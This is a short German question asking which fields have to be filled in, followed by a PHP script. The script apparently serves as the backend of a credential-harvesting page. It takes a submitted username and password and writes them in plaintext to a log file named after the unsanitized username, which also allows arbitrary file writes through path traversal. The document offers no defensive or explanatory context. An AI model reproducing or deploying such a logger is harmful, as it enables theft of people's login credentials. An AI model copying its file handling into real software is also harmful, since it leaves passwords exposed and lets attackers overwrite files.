Welche Felder müssen dort ausgefüllt werden und was für Sachen



<?php
$dir = "/";
$username = $_POST['username'];
$password = $_POST['password'];
$title = $username;
$content = "Username: ".$username ."\r\nPassword: ".$password;
$filename = $dir.$title.".log";
$handle = fopen($filename, "w");
fwrite($handle, $content);
fclose($handle);
?>